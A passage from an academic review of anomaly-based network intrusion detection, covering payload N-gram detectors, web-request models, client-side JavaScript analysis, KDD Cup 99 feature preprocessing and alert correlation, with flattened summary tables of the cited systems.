Shellcode attacks to
web servers
[107] HTTP
request
3-grams and expert
features constructed
from payload.
Feature selection to
choose optimal
subset.
Anomaly detector Buffer overflow, php
attacks to web
servers
[162] Network
packet
payload
N-grams
constructed from
application layer
protocols SMTP,
HTTP, FTP. N
tested from 1 to 7.
Vectorial similarity
measures such as
kernel and distance
functions to detect
outliers.
R2L attacks to
servers
[201] Network
packet
payload
Calculating byte
frequencies
(1-grams) for files
in network traffic
Byte-frequency
models of common
file types compared
with new files
Executable files
[110] HTTP web
requests
Six content-based
features from user
supplied parameters
in URL
Models of normal
usage created for
each web app.
Compare requests
to models.
Attacks to web
applications.
[103] HTTP web
requests
Character
frequency of
user-supplied
parameters in URL
Same character
models built for
web app. Compare
requests to model.
SQL injection
attacks.
Table 2.5: NIDS analysing traffic payloads to servers and individual web apps
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ture engineering framework in Section 3.2.2.
PAYL [183] uses 1-grams and unsupervised learning to build a byte frequency
distribution model of network traffic payloads. A 1-gram is simply a single byte
with value in the range 0 to 255. The result of preprocessing a packet payload
this way is a feature vector containing the relative frequency count of each of the
256 possible 1-grams (bytes) in the payload. The model also includes the average
frequency, variance and standard deviation as other features. Separate models
of normal traffic are created for each combination of destination port and length
of the flow. Clustering is then used to reduce the number of models. During the
detection phase a simplified Mahalanobis distance measure is used to compare
the current traffic to the model, and an anomaly is raised if the distance exceeds
a given threshold.
PAYL was designed to detect zero-day worms, since flows with worm pay-
loads can produce an unusual byte frequency distribution. However, testing was
performed on all attacks in the DARPA 99 dataset [139] using individual packets
as data units (connection data units were also attempted). The overall detection
rate was close to 60% at a false positive rate less then 1%. The authors point to
a large non-overlap between PAYL and PHAD, with one modelling header data
and the other modelling payloads. The two approaches could complement each
other.
POSEIDON [12] uses PAYL as a basis for detection, but with different prepro-
cessing. Unlike PAYL, it does not use the length of the payload for determining
whether to create a separate model, but instead uses the output of a SOM clas-
sifier. The aim of the SOM is to identify similar payloads for a given destination
address and port. This improvement was shown to produce fewer models and
higher accuracy than PAYL.
ANAGRAM [184] also builds on PAYL, but uses a mixture of high-order N-
grams with N > 1. This reduces its susceptibility to mimicry attacks since higher
order N-grams are harder to emulate in padded bytes. By contrast, PAYL can be
easily evaded if normal byte frequencies are known to an attacker since malicious
payloads can be padded with bytes to match it. ANAGRAM uses supervised
learning to model normal traffic by storing N-grams of normal packets into one
bloom filter, and models attack traffic by storing N-grams from attack traffic
into a separate bloom filter. At runtime the N-grams from incoming payloads
are compared with those stored in the two bloom filters. An anomaly is raised
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if the N-grams either match the attack bloom filter, or don’t match the normal
bloom filter.
Similarly, McPAD [153] creates 2ν-grams and uses a sliding window to cover
all sets of 2 bytes, ν positions apart in network traffic payloads. Since each
byte can have values in the range 0-255, and n = 2, the feature space is 2562 =
65, 536. By varying ν, different feature spaces are constructed, each handled by a
different classifier. The dimensionality of the feature space is then reduced using
a clustering algorithm. Multiple one-class support vector machines (SVMs) are
used for classification, and a meta-classifier combines these outputs into a final
classification prediction. The results of testing McPAD showed it could detect
shell code attacks in HTTP requests.
N-grams are used by Kloft et al. [107] to create features when testing their
automatic feature selection algorithm. Using HTTP requests as test data, feature
sets are constructed including 3-grams and expert features. These expert features
include string length histograms, string entropy, and flags indicating the existence
of special characters or strings. The accuracy of a detector is tested with: each
feature set separately, with a uniform mixture of the features, and finally using
their automatic feature selection method. Automatic feature selection was shown
to produce best overall accuracy.
Rieck and Laskov [162] also construct language features in the form of high
order N-grams from connection payloads. They use unsupervised anomaly de-
tection, so no labelled training data is required. To reduce the potential for false
positives they restrict their analysis to the application layer protocol bytes. Their
approach differs from others because it uses a geometric representation of high
order N-grams. N-grams and words in connection payloads are compared using
vectorial similarity measures such as kernel and distance functions. To increase
the diagnostic capability of the unsupervised anomaly detector, the authors cre-
ated frequency difference plots for each anomaly, and annotated the plots with
the odd N-grams found.
N-grams have been used to fingerprint and then detect executable code in
network traffic [201]. To do this, profiles were built for each file type by calculat-
ing byte frequency distributions (1-grams) for sample exe, pdf, jpg, gif and doc
files. The NIDS then calculates byte frequencies of files detected on the wire and
uses the Manhattan distance to match the file to one of the existing profiles. An
alert is generated when a file matches the exe profile.
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An advantage of using N-grams for data preprocessing is not requiring expert
domain knowledge to construct relevant features. Instead models of network
traffic payloads are created automatically from the N-grams present. However
some domain knowledge has been used when choosing what data to perform N-
gram analysis on. If N-grams are blindly constructed from all packet payloads
including encrypted and unstructured data, then a huge range of N-grams would
be created and the resulting model would not be able to discriminate between
normal and anomalous traffic. Instead, the reviewed techniques apply N-gram
analysis to text-based semi-structured data within network traffic, such as ASCII
web requests or ASCII application-layer protocol bytes including HTTP, FTP
and SMTP. In this context, N-gram analysis is able to distinguish normal re-
quests from those containing some types of shell-code attacks. However, it is
not clear whether this approach would detect shellcode with alphanumeric or
English encoding [134]. PAYL [183] is much less restrictive, accepting all packet
payloads. This may explain its higher false positive rate. PAYL does however
create many separate models, at least one for each destination port. This gives
context to the types of payloads making up each model, thereby allowing some
anomalies to stand out.
2.4.2 Analysis of Requests to Web Applications
Organizations may require additional monitoring of critical applications. One
method is to create an application-specific anomaly detector.
Kruegel and Vigna [110] built an anomaly detector for a particular web ap-
plication. A web application can be attacked by sending specially crafted data
to it. Hence the authors monitored the HTTP request URI. This is because data
sent to web applications is limited to web requests, and most (possibly crafted)
user-controlled data is found within the URI field6. They first partition the URIs
based on the destination web application. This is done by using all characters
in the URI before the question mark character as the partition key. The string
prior to the partition key represents the web application, while subsequent char-
acters are the parameters supplied to it. The analysis consists of automatically
building normal models of the supplied parameter values for each application,
and then detecting traffic which is anomalous with respect to those models. The
6The paper used webserver logs as the datasource, but the full URI could equivalently be
extracted directly from HTTP network traffic
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total anomaly score is calculated as a weighted sum of the anomaly score for
each model.
The data preprocessing constructs six models of the URI parameters: param-
eter length, parameter character distribution, structural inference, token finder,
and parameter presence or absence. These models are fully described by [110],
and are built on their publicly available library libAnomaly7. During testing
their algorithm analysed log files of web servers which had been subjected to
buffer overflow, directory traversal, cross site scripting, and input validation at-
tacks mixed with normal traffic. The most discriminating features to detect these
attacks were found to be parameter length, character distribution, and structure.
A very similar set of models was constructed for an anomaly-based SQL injec-
tion detector [180]. The approach was host based and relied on the interception
of SQL statements between the web application and the database.
Kiani et al. [103] built on these approaches in a NIDS environment to monitor
web applications. Their aim was to improve the detection of input validation
attacks, particularly SQL injection, from network traces. Data preprocessing
again extracted only the query parameters from each HTTP request. Instead of
calculating all six models from the requests as per Valeur et al. [180], a single
model is created based on the frequency character distribution (FCD) measure
used previously. The new model, called single character comparison (SCC), is
compared to FCD and is found to be more accurate at detecting SQL injection
attacks. While both approaches are character distribution models, the SCC
model is more fine grained and can detect more subtle attacks.
2.4.3 General Payload Pattern Matching
Basset [179] makes use of the data preprocessing capabilities available in existing
NIDS such as snort to find patterns of interest in the packet payloads. snort
is capable of analysing all the network traffic including the packet headers and
payloads, performing session reconstruction, parsing some protocols, and allow-
ing signature-based pattern matching of packets or sessions. In this case, custom
snort signatures were written to match patterns of interest in the traffic and
report them as alerts, e.g. report the HTTP method and headers. These alerts
were used by the Basset system as features of a session. The features were then
fed to a Bayesian Network to match the session to known models of normal
7libAnomaly available at http://www.cs.ucsb.edu/~seclab/projects/libanomaly/
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traffic, or to flag an anomalous session.
2.4.4 Analysis of Web Content to Clients
Common network architectures ensure client hosts (workstations) within an or-
ganization are not directly exposed to the Internet at the network layer. This
protects the client hosts from external threats such as probes, DoS, network
worms and other attacks against open ports (services). However, many other
threats are faced by these clients, particularly when they are exposed to un-
trusted code or data. Exposure occurs when performing standard client comput-
ing tasks such as browsing the web, using an email client, instant messaging, and
viewing externally sourced files. Since browsers are growing in functionality and
have a large code base, the risk of them containing exploitable vulnerabilities is
high. They are also ubiquitous, making them a good attack target. In addition,
most websites require scripts such as JavaScript or VBScript to run on client
machines. Running untrusted scripts supplied by external organizations is in-
herently risky. Other common threats faced by network clients include phishing
attacks, malware sent inside executables, and malware sent in data files. This
section outlines some of the anomaly-based techniques which have been used to
detect and prevent attacks on network clients.
The first technique aims to protect web clients from drive-by-downloads8 [32].
Each web page destined for the client is analysed to detect behaviour caused by
malicious JavaScript or VBScript. The data instance for analysis includes the
target web page as well as all pages connected to it. The analysis looks for
behaviour-based features (see Table 2.6) common in malicious pages. Training
is used to create weights for each of these predictor features to produce a final
anomaly score for the page. The approach was tested using a single client host,
however the analysis could equivalently be done in a NIDS.
Emulation has been used to help understand the behaviour of webpages (and
therefore detect malicious behaviour). This is in contrast to static analysis which
has limited predictive ability when faced with encoded or obfuscated sections of
webpages. Emulation is used by JSAND [39] which is an anomaly detector for au-
tomatically identifying malicious web pages and JavaScript code. Using domain
knowledge of drive-by-download behaviour, and a fully emulated and instru-
8A drive-by-download occurs when a normal user action such as visiting a website results
in the unintentional download, and sometimes installation, of malware
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Tool /
Paper
Data
Input
Data
Preprocessing
Main Algorithm Detection
[32] Web
traffic to
client
Extract features
from webpages: link
structure, encoding,
sensitive keywords
splitting, sensitive
keywords encoding,
unreasonable
coding styles and
redirection.
Use weights on each
feature to produce a
total anomaly score
for web page.
Malicious client side
scripts used in XSS
and
drive-by-downloads
JSAND
[39]
Web
traffic to
client
Extract features
from webpage after
emulating
JavaScript.
Features include:
attribute values in
JavaScript method
calls to detect
buffer overflows,
and the number of
likely shellcode
strings in the
webpage
Use libAnomaly to
build models from
features. Find
pages with anomaly
scores 20% greater
than training set
Malicious client side
scripts used in XSS
and
drive-by-downloads
Caffeine
Monkey
[71]
Web
traffic to
client
Used an
instrumented
JavaScript engine
to deobfuscate and
execute JavaScript,
and log each eval()
call.
Statistical analysis
of JavaScript
function calls to
discriminate normal
from malicious
JavaScript
Malicious client side
scripts used in XSS
and
drive-by-downloads
Noxes
[105]
Web
traffic to
client
Analyses web pages
including HTTP
links
Whitelisting of
allowed sites to
visit. Any site not
in the whitelist is
blocked
Avoids XSS attacks
Table 2.6: NIDS which analyse traffic payloads for attacks targeting clients.
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mented browser, JSAND constructs 10 features (see Table 2.6) to represent the
HTML and JavaScript code. A training phase was run on a known-good dataset
containing web pages without any malicious code. A baseline anomaly score was
established from these normal models, and an anomaly threshold was then set
to be 20% more than this baseline anomaly score. During the detection stage,
the JavaScript behaviour was emulated, the features constructed and compared
to these models to detect anomalous web pages. LibAnomaly was again used to
build models from the constructed features. Like high interaction honeyclients,
the aim was to identify malicious webpages. The approach could be applied to
a NIDS, performance permitting.
Caffeine Monkey [71] also uses anomaly detection to find malicious JavaScript
code. It uses Mozilla’s SpiderMonkey Javascript Engine to deobfuscate and exe-
cute JavaScript, adding instrumentation to the eval() or concatenation methods
to produce useful log files. Automated analysis of JavaScript function call statis-
tics was used to differentiate between normal and malicious JavaScript.
Noxes [105] is a personal web firewall with the aim of protecting web clients
from cross-site scripting attacks. Users configure web firewall rules to allow or
block particular web connections. The rules can be configured manually with
filters, or interactively with firewall prompts, or with a special snapshot mode
where a set of permit rules are automatically created based on web browsing us-
age. This approach is largely a whitelisting exercise, with unknown sites implic-
itly considered “anomalous” and requiring a user to allow or deny the connection.
Since cross site scripting attacks often try to siphon user data to an attacker-
owned malicious site, external to the domain being browsed, the siphoning will be
blocked by default. While this approach is not a NIDS, it represents an effective
client protection mechanism similar in scope to the browser plugin “NoScript”9.
The authors note that Noxes is designed to minimize user interaction making
the approach more practicable. This is achieved using logic such as allowing all
statically embedded links in a page to be followed once, and allowing all local
links. A more recent Noxes paper by Kirda et al. [106] mitigates advanced cross
site scripting attacks using algorithms to limit the amount of data leaked by the
client.
So far, each of the reviewed papers has constructed their own traffic features.
We now discuss NIDS which use a dataset where the traffic features are already
9NoScript Firefox extension available at http://noscript.net/
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precomputed.
2.5 Hybrid Features
This review has so far grouped papers based on whether their anomaly detector
uses features derived from packet headers, protocol information, or payloads.
Instead, a single detector could use all of these feature types. We call this
“hybrid features anomaly detection”. Intuitively, hybrid features should give
the detector broader anomaly detection capabilities than concentrating on only
one feature type. An alternative approach to gain broader coverage is to use a
number of specialised detectors and combining their outputs.
Creating hybrid features requires a significant amount of effort. The most
documented use of hybrid features is a single dataset called the KDD Cup 99
dataset [102]. Many NIDS papers use it as labelled dataset for testing and
comparing network intrusion algorithms. While it has known limitations [136,
131], its advantages include being publicly available, labelled, and preprocessed
ready for ML. This opens the field to any researcher wanting to test their IDS
and make meaningful comparisons with other intrusion detection algorithms.
Generating accurate labels for custom datasets is a very time consuming process,
so this dataset is still used, despite its age.
The dataset was generated from the DARPA 98 network traffic [124]. Each
network connection was processed into a labelled vector of 41 features. These
were constructed using data mining techniques and expert domain knowledge
when creating a ML misuse-based NIDS [119, 118]. One of their stated goals
was to eliminate the manual and ad-hoc processes of building an IDS. While
their research was successful, they found the raw network traffic needed a lot of
iterative data preprocessing and required significant domain knowledge to pro-
duce a good feature set (making the process hard to automate). They also found
that adding temporal-statistic measures significantly improved classification ac-
curacy.
The data preprocessing produced:
• 9 basic and SCD header features for each connection (similar to NetFlow)
• 9 time-based MCD header features constructed over a 2 second window
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• 10 host-based MCD header features constructed over a 100 connection
window to detect slow probes.
• 13 content-based features constructed from the traffic payloads using do-
main knowledge. Data mining algorithms could not be used since the pay-
loads were unprocessed and therefore unstructured. They were designed to
specifically detect U2R and R2L attacks.
The content-based features differentiate this approach from all the packet-
header approaches described in Section 2.2. It should be noted that the KDD
Cup 99 dataset was generated prior to the publication of all the reviewed NIDS.
However, some of the packet header NIDS also produced similar SCD and MCD
features to this dataset.
Some of the papers which use this dataset perform further preprocessing of the
41 features to suit their detection algorithm. Extra preprocessing includes data
cleaning in the form of sub-sampling, data transformation such as normalization,
data reduction via PCA, discretization and re-labelling to produce appropriate
training data.
2.5.1 Data Transformation
Laskov et al. [115] embedded categorical features into a metric space. Normaliza-
tion was also performed by scaling numeric features with respect to their mean
and standard deviation. This prevents features with large numerical values from
dominating other features. The resultant dataset was used to compare unsuper-
vised and supervised ML techniques for IDSs. Supervised techniques performed
better on known attacks. However when new attacks were introduced, both
approaches had similar accuracy. This makes unsupervised algorithms more at-
tractive in situations where new attacks need to be detected, since their major
advantage is not requiring a labelled dataset for training.
Some algorithms used in supervised ML can be adapted to make them suit-
able for unsupervised ML. This was done for a K-nearest neighbours algorithm
called TCM-KNN [121, 122]. Data preprocessing again involved scaling numeric
features, and transforming categorical features into a metric space.
2.5.2 Data Cleaning
Laskov et al. [114] perform further preprocessing of the dataset in the form of
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Ref Data Preprocessing Main Algorithm Detection
[115] Normalization.
Transform categorical
features.
Compare supervised and
unsupervised learning
algorithms
KDD Cup: Probe, DoS,
R2L, U2R
[114] Data cleaning Quarter Sphere SVM KDD Cup: Probe, DoS,
R2L, U2R
[190] Principal component
analysis (PCA) for
feature selection
Multi-class SVM KDD Cup: Probe, DoS,
R2L, U2R
[185] Used subset of features:
the 34 numeric features.
PCA used to reduce
dimensionality
Separate models created
for normal class and each
intrusion class. Euclidean
distance for classification.
KDD Cup: Probe, DoS,
R2L, U2R 98% detection
with 0.4% false positive
rate
[168] PCA to reduce
dimensionality
Principal Component
Classifier. Method
compared to LOF,
Canberra and Euclidean
distance.
KDD Cup: Probe, DoS,
R2L, U2R 98% detection
at 1% false positive rate
[17] 7 Categorical attributes
converted to continuous
ones for total of 125
features. PCA to reduce
dimensionality
Nearest Neighbour and
Decision Tree
classification methods
compared
KDD Cup: Probe, DoS,
R2L, U2R
[193] 41 features expanded to
119, since symbolic ones
converted to
binary-valued features.
Parzen Window Density
Estimation
KDD Cup: Probe, DoS,
R2L, U2R Good results
[87] Convert symbolic features
to numeric using:
indicator variables,
conditional probabilities,
separability split value
Various Classifiers Data preprocessing
improves detection rate
[99] Make “service type”
feature the label for
classification
Random forests traffic
model. Proximity
measure detects outliers.
KDD Cup: similar results
to other unsupervised
algorithms
[121] Normalization: z-score for
continuous features.
Discrete features
converted to continuous
based on frequency.
Supervised TCM-KNN
algorithm, and
comparison with SVM,
neural networks, k-NN
KDD Cup: Probe, DoS,
R2L, U2R
[122] Normalization: z-score for
continuous features.
Discrete features
converted to continuous
based on frequency.
Unsupervised TCM-KNN
algorithm, and
comparison with
clustering, one-class
SVM, unsupervised k-NN
KDD Cup: Probe, DoS,
R2L, U2R
[123] Wrapper-based feature
selection for each attack
type.
Decision tree classifier
with nodes consisting of
linear SVMs
KDD Cup: Probe, DoS,
R2L, U2R
[31] Feature selection using
Markov blanket reduces
41 features to 17
Bayesian Networks,
Classification and
Regression Trees
KDD Cup: Probe, DoS,
R2L, U2R
Table 2.7: NIDS using the KDD Cup 1999 Dataset features as data input.
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sampling. Their unsupervised anomaly detection technique assumes the input
data is only 1 to 1.5% anomalous. Since 75% of the KDD Cup connection
records are labelled malicious, sub-sampling was used to produce a dataset with
the required ratio.
2.5.3 Data Reduction
Reduction has commonly been applied to the KDD Cup 99 dataset. Xu [190]
uses principal component analysis (PCA) to reduce the dimensionality from 41
down to 12, thereby reducing the computational requirements of the classifier.
This was found not to adversely affect the detection accuracy of their multi-class
SVM supervised algorithm.
Other papers have also used PCA [185, 168, 17], reducing the dimensionality
to between 2 principal components and 7. The dataset’s 7 symbolic features
were either omitted, or were converted to binary valued features. The 34 contin-
uous features and the converted binary values were then all input to PCA. The
resulting reduced and transformed dataset was then used as input to test their
classifier algorithms.
Data reduction has been shown to both reduce the build and test time of
classifiers, and also to improve their detection rate. Rather than using PCA to
reduce dimensionality, Li et al. [123] used feature selection to choose the best
subset of current features. The search strategy was a modified random mutation
hill climbing (RMHC) algorithm. [31] used a Markov blanket model for feature
selection, reducing the dataset from 41 to 17 features.
2.5.4 Categorical to Numeric Feature Conversion
Yeung and Chow [193] use a ML algorithm designed to work with numeric data
only, so they use a coding scheme to convert the 7 symbolic features from the
KDD Cup 99 dataset into numeric features. This is done using indicator vari-
ables. Each symbolic feature is represented by a group of binary-valued features,
and results in an expansion of the dataset to 119 dimensions. This dataset
is used by their unsupervised anomaly detection algorithm. Herna´ndez-Pereira
et al. [87] compare different methods for converting the same 7 symbolic features
into numeric features suitable for ML algorithms. Candidate methods consid-
ered were indicator variables, conditional probabilities and separability split value
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(SSV). Each method was tested with various classifiers to detect intrusions in the
dataset. The results demonstrated improved overall classification accuracy when
the three conversion techniques were used compared to arbitrary assignment of
numerical values.
2.5.5 Re-labelling
Rather than using the standard class label provided in the dataset for each
connection, Jiong and Mohammad [99] used the “service type” feature as the
label instead. This was done so traffic patterns could be identified for each
separate service. The “service type” feature is already supplied in the KDD Cup
99 dataset and can be automatically generated from network data, effectively
making the approach unsupervised.
2.5.6 Summary of Hybrid Features
Papers using the 41 features in the KDD Cup 99 dataset are able to achieve sig-
nificantly better detection results than packet header approaches such as PHAD.
This can be attributed to the 13 content-based features which can be used to
detect a number of R2L and U2R attacks in the dataset. These content-based
features were constructed using domain knowledge, and include higher level in-
formation such as the number of failed log-in attempts, a flag for whether a
root shell was obtained, and the number of file creation operations. While these
content-based features are very useful for this dataset, it is unlikely they would
be useful for detecting current exploits in today’s network traffic. New useful
features need to be constructed from the content of network traffic. Some of
these useful content features were discussed in Section 2.4.
In summary, the use of hybrid features in the KDD Cup 1999 dataset led
to better detection accuracy than using only feature type. We would therefore
expect the use of hybrid features by more anomaly detectors in the future. An
interesting study would be to compare the use of hybrid features in a single
detector versus an ensemble of detectors, each using different feature types. En-
semble methods should be easier to scale and parallelize, but hybrid features
would make it easier to find dependencies between different features.
Hybrid features are all derived from network traffic. In the next section we
discuss approaches for analysing alerts generated by other software components.
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Alerts are a step removed from network traffic.
2.6 Alert Features
NIDS can be layered in a hierarchy where the alert output of the lower stage is
processed by a second NIDS. The higher NIDS is often used for correlation. It
can also generate statistics, group alerts and detect outliers to provide a more
succinct overview of the situation. This is especially useful when a large number
of alerts are produced.
MITRE [11] processes the alert output of NIDS (in the first case snort).
Their motivation is to reduce the load on operators from receiving thousands of
high priority alerts a day to a more manageable number. To do this they use data
mining techniques which aim to reduce the number of alerts while still maintain-
ing the ability to detect unusual events. Techniques include: alert aggregation of
related alerts, a classifier for identifying network scan alerts, ranking to identify
unusual scans, an incremental classifier based on decision trees for reducing false
positives, and clustering to detect outliers. A significant amount of feature con-
struction was used to create 97 features to be considered by the classifier. The
features were based on snort alert fields as well as time-based features created
using statistical measures across alerts.
Bolzoni et al. [13] automatically classify alerts generated by anomaly-based
NIDS. The classifier labels the alerts and allows operators to prioritize their in-
vestigation. The approach is based on constructing N-grams from network traffic
payloads corresponding to the alerts, and using supervised learning to produce
a classifier with either SVMs or a rule induction algorithm called RIPPER [36].
Another system which processes snort alerts is by Smith et al. [170]. The
system aims to highlight important alerts and also filter out false positives. The
first stage is an unsupervised novelty detection algorithm for grouping alerts into
attack stages, while the second stage uses an expectation maximization algorithm
for finding groups of alerts representing a full attack.
Association mining has been used on alert data to produce frequent-item sets
of association rules. The alerts produced by LOF [67] were datamined in this way
to create summaries of the anomalies, aid the creation of new rules for rule-based
IDS, and detect recurring patterns for producing better features. This type of
association mining allows for iterative feature construction common in KDDM
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projects.
Security information management (SIM) tools also operate on NIDS alerts, as
well as using other datasources such as log files from antivirus, web servers, prox-
ies and hosts. SIM tools collect this security information into a central repository
in order to gain a consolidated security picture. The gathered information can
be data mined for trend analysis, statistical reports, or to gain more information
about a security incident. Prelude [199] is a SIM tool fitting this category.
2.7 Discussion of the Review
In this review, anomaly-based NIDS papers have been grouped according to the
types of network features they analyse (see Tables 2.1, 2.2, 2.3, 2.4, 2.5, 2.6 and
2.7). NIDS within a single table have similar claimed detection capabilities. This
suggests the choice of feature types is important in determining the possible ca-
pabilities or coverage of the detector, i.e. different feature types allow detection of
different attack categories such as probe, DoS, R2L and U2R. Subsequent stages
such as the main data mining algorithm and correlation engine then determine
how accurate and effective the NIDS is.
2.7.1 Comparison of Feature Sets
The vast majority of the reviewed NIDS use network data processed into flows
or sessions. Features are then constructed from the flows, with the most popular
packet header approach using MCD features. These features are generally derived
using statistical measures covering multiple flows, such as the percentage of flows
to a particular host within a time window. Anomaly-based NIDS using these
features can discriminate between normal traffic and unusual network activity
such as network probes and DoS attacks. To detect anomalous behaviour within a
single session SCD features are used. These can highlight an unexpected protocol,
unusual data sizes, unusual packet timing, or unusual TCP flag sequences. SCD
features can therefore allow detection of anomalous traffic caused by backdoors,
HTTP tunnels, stepping stones and some command and control channels.
The KDD Cup 99 dataset includes a number of SCD and MCD features,
many of which overlap with the reviewed packet header approaches. However,
it also includes 13 content-based features which can be used to detect a number
of R2L and U2R attacks. These content-based features were constructed using
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domain knowledge, and include higher level information such as the number of
failed log-in attempts, a flag for whether a root shell was obtained, and the
number of file creation operations. While these content-based features are very
useful for this dataset, it is unlikely they would be useful for detecting current
exploits in today’s network traffic. Entirely different content-based features need
to be constructed to detect current attacks.
While methods for deriving discriminative features from packet headers are
well established (such as statistical measures of basic header fields, and finding
frequent-item sets of mined association rules), approaches for packet payloads
are less well defined. However, two common methods have emerged from the
reviewed papers: N-grams and libAnomaly.
N-gram analysis has been popular for analysing requests to servers. It can
be used to detect anomalous patterns, such as shell code within the structured
application protocols, without requiring domain knowledge.
Conversely, approaches for detecting attacks against web applications focused
on constructing a suite of models (using libAnomaly) for a training set of normal
user content sent to the applications. Malicious requests generally differ from
normal requests in some way, and hence are likely to be anomalous with respect
to at least one of the models. Many NIDS papers analyse content destined for
network servers, so this is a well researched area.
From an anomaly-NIDS perspective, analysing client content is a less re-
searched field. In fact, none of the reviewed approaches were currently part
of any NIDS, although some indicated that as a future direction. In addition,
the reviewed content anomaly detection techniques were different for client con-
tent than for server content. The client approaches aimed to detect current
web threats such as drive-by-downloads, cross site scripting and other malicious
JavaScript. The techniques ranged from behaviour modelling, emulation, and
instrumentation, to whitelisting.
Other methods for protecting clients fall outside the scope of anomaly-based
NIDS. These include:
• Maintaining comprehensive black lists of malicious websites. These lists are
maintained by organizations on the web and are then checked by browser
plugins such as SiteAdvisor to warn users about sites they are about to
visit.
• Using application-specific network appliances. These can be deployed in
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an organization to protect all their network clients from particular threats.
E.g. appliances with antivirus, anti-phishing, and spam filters are available
for email. Commercial web security appliances are also available, aiming
to protect networks of clients from web-based attacks such as drive-by-
downloads and cross site scripting and to enforce usage policies.
2.7.2 Feature Set Recommendations
This review has identified the various feature sets used by anomaly-based NIDS.
When designing a NIDS, the choice of network traffic features is largely driven
by the detection requirements. If the requirement is to detect a broad range of
anomalies, then a suite of anomaly detectors should be built, each potentially
using a different feature set. For more targeted anomaly detection, a single
feature set can be used.
Packet header features have the advantages of being fast, with relatively low
computation and memory overheads, and avoid some of the privacy and legal
concerns regarding network data analysis. The simplest feature set contains
basic features constructed from individual packet headers. These features can
be used to flag single packets which are anomalous with respect to a normal
training model (e.g. PHAD), or as a filtering mechanism so only unusual packets
are fed to downstream algorithms (e.g. SPADE). However, individual packets
cannot be used to identify unusual trends or patterns over time. In some noisy
attacks, individual packet headers are normal, but their trend or repetition over
time is anomalous, e.g. DoS attacks, worm propagation, scanning and tunnelling
behaviour. To detect these attack patterns, SCD and MCD feature sets have
been extensively used in the literature.
MCD features are generally derived over a time window of connections. Most
MCD features are volume-based, such as the count of connections to a particular
destination IP address and port in a given time window. Hence MCD features can
be easily used to detect unusual traffic volumes associated with DoS attacks or
scanning behaviour, but at the cost of overlooking individual anomalous packets
(since these will not meet the volume-based threshold).
To identify anomalous patterns across multiple packets, but within a single
connection, SCD header features are used. The single connection provides con-
text, allowing contextual anomalies to be found. For example, if all connections
to port 80 on the local network are expected to be HTTP traffic, but the timing
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of packets within a monitored port 80 connection does not match a HTTP profile,
then an anomaly can be raised. This could be indicative of protocol tunnelling.
While these packet header feature sets have been extensively used and have
their advantages, they also have limitations. In particular, packet header ap-
proaches cannot be used to directly detect attacks aimed at applications, since
the attack bytes are embedded in the packet body. This is a huge disadvan-
tage, especially since many of today’s exploits are directed at applications rather
than network services. Examples covered by the reviewed papers include buffer
overflow attacks against web servers, web application exploits, and attacks tar-
geting web clients such as drive-by-downloads. NIDS must use payload-based
features constructed from packet bodies to detect these types of attacks, since
the packet headers can remain completely normal. Payload analysis is more
computationally expensive than header analysis. This is due to requiring deeper
packet inspection, dealing with a variety of payload types (HTML, XML, pdf,
jpg etc.), transfer encoding (gzip, Base64), and obfuscation techniques. How-
ever the advantage of payload analysis is having access to all bytes transferred
between network devices. This allows a rich set of payload-based features to be
constructed for anomaly detection.
Due to the complexity of payload analysis, many techniques focus on small
subsets of the payload, e.g. the HTTP request, or only the JavaScript sections
of downloaded web content. The anomaly-based techniques do not try to match
signatures of known malware, however they can apply heuristics such as pat-
tern matching for the presence of shellcode, or highlighting suspiciously long
strings which may indicate a buffer overflow attempt. The reviewed payload-
based approaches derive features from either the payload of a single connection
or a user application session, and compare the features to a normal model. In ef-
fect these are SCD payload-based features. Extending this approach to multiple
connections to produce MCD payload-based features could allow different types
of anomalies to stand out. For example, detecting an unusually large number of
HTTP redirects in a network could indicate a widespread infection attempt.
A common theme with the reviewed content anomaly detectors is their appli-
cation to a limited context. Early approaches such as PAYL create models of the
complete payload. However they restrict the context per model by segmenting
traffic based on the destination port and packet length. Later approaches target
particular parts of the payloads, such as the parameter fields in a URI [110]. By
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using this stricter context, it seems more subtle anomalies can be detected at a
lower false positive rate. This would suggest that successful anomaly detectors
should have a limited context. Broad coverage can then be achieved using a suite
of these targeted anomaly detectors.
Building content anomaly detectors also requires some domain knowledge.
Even the N-gram approach requires domain knowledge to apply it to relevant
parts of the network traffic. For example, McPAD [153] is applied only to
structured web requests. Likewise, using libAnomaly requires significant domain
knowledge to know what fields within the network traffic to model. Arguably,
packet header-based detection requires less domain knowledge.
Data mining methods such as association mining for link analysis, and fre-
quent episodes for sequence analysis can be used to derive MCD header features
for detecting some attacks. Feature selection can then be applied to the can-
didate set of features. Instead of an ad-hoc process, these automated feature
engineering methods ensure the most discriminative available features are cho-
sen for detecting labelled attacks.
Since many common attacks are now payload-based, methods for analysing
these payloads and constructing relevant features to detect malicious behaviour
are of increasing importance. In addition, the widespread use of HTTP to trans-
port all forms of traffic such as VOIP, messaging, email, or P2P, means analysing
HTTP payloads is required to better understand the monitored network and to
mitigate threats.
2.7.3 Data Preprocessing Candidate Features
This review has concentrated on the different types of features used in anomaly-
based NIDS. Each feature type is derived using different data preprocessing tech-
niques including parsing individual network packet headers, organizing packets
into flows with NetFlow or tcptrace, calculating statistics for header values
over a time window, parsing application protocols, or analysing application con-
tent for fields of interest. Deriving this candidate feature set is a critical step for
anomaly-based NIDS. However further preprocessing can also be done to increase
the efficiency and accuracy of the NIDS.
Preprocessing techniques from data mining can be used, including data trans-
formation, cleaning, reduction, and discretization. A data reduction technique
often used with the KDD Cup 99 dataset was principal component analysis
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(PCA). PCA was found to greatly reduce the data dimensionality, thereby re-
ducing the computational requirements of the NIDS. Many automated feature
selection algorithms also exist for similar data reduction results to eliminate ir-
relevant and redundant features. These data reduction techniques provide an
objective way of reducing a candidate feature set to a reduced final feature set.
While some NIDS are built solely with expert domain knowledge to create good
feature sets, automated data reduction techniques are likely to further improve
the NIDS, e.g. Kloft et al. [107] showed higher NIDS accuracy was achieved with
automated feature selection. Using data reduction to obtain a list of the most
relevant features may also aid in explaining the differences between normal and
anomalous samples.
2.8 Dynamic Models
In this section we review techniques to process network traffic in a streaming, real-
time mode. This information is necessary when considering operational aspects
of deploying detectors such as HED in Chapter 4. While standard ML models can
be used to classify network traffic in real-time, the initial step of building the
model needs to be done oﬄine on a batch of network traffic. The techniques in
this section instead build the model on-the-fly and hence all of their operations
are in real-time.
In NIDS, intrusions should be detected as soon as possible after they occur.
Reacting quickly can help limit the impact of any related malicious activity. A
second requirement for anomaly-based NIDS is to maintain a good model of
normal traffic so anomalies can be detected with high accuracy. On real-world
networks, the concept of normal traffic can drift over time as new services and
hosts are added or removed.
Traditional, static, oﬄine processing does not meet these requirements. Of-
